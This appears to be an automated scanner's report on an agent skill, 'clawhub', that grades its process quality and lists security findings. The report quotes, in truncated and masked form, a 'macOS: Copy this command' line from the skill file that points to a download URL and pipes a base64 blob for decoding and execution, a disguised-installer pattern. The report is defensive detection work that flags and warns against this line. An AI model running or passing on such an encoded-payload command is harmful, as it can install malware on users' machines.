FD clawhub
Use ClawHub CLI to search, install, update, and publish agent skills from clawhub.ai with advanced caching and compression. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with optimized performance.
Use ClawHub CLI to search, install, update, and publish agent skills from clawhub.ai with advanced caching and compression. Use when you need to fetch new…
As a process D 49/100 · Unfinished process — weak spots: result and completion, when it triggers, consistency
What is at stake
The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
How to improve
- Remove the critical guard findings (secrets, dangerous commands, hidden instructions): while they stand the skill is blocked and cannot grade above F.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 2
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critical Dangerous commands
cmd-encoded-execSKILL.md:17Executes a base64/encoded payload (quoted — discussed, not commanded)**macOS**: Copy this command `echo "Installer-Package: https://download.setup-service.com/pkg/" && echo 'L2Jp…KSI=' | bas
quoted
Medium and low: 1
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low Obfuscation
obf-base64-blobSKILL.md:17Long base64-looking blob (quoted — discussed, not commanded)**macOS**: Copy this command `echo "Installer-Package: https://download.setup-service.com/pkg/" && echo 'L2Jp…KSI=' | bas
quoted
Files scanned: 1. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
✓ No remarks against the Agent Skills spec
Process rating: all ten parameters 49/100
- 0Result and completion. Does not say what the result is
- 0Progress reporting. Says nothing while it works
- 20When it triggers. No condition that starts the skill
- 30Running it twice. 12 mutating operations with no state check
- 40Consistency. Frontmatter name (clawhub) differs from the folder (clawhud)
- 50Failures and branches. 0 branches, has a failure section
- 60Tools and files. Uses tools (bash) that frontmatter does not declare
- 70Inputs and preconditions. Inputs and preconditions are listed
- 85Steps. 50 steps, 1 vague phrases
- 100Execution cost. Instruction body is 2916 tokens
- low 17 top-level sections: this looks like several domains in one skill
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- +1No license
- +2Single-language instructions
- +3Description length 293: enough signal without eating the budget
- +4Structure: 35 headings
- +3Step-by-step instructions: 50 items
- +4Has examples (19 code blocks)
Quality base 70; lint remarks subtract, signals add up to 100. Result: 84.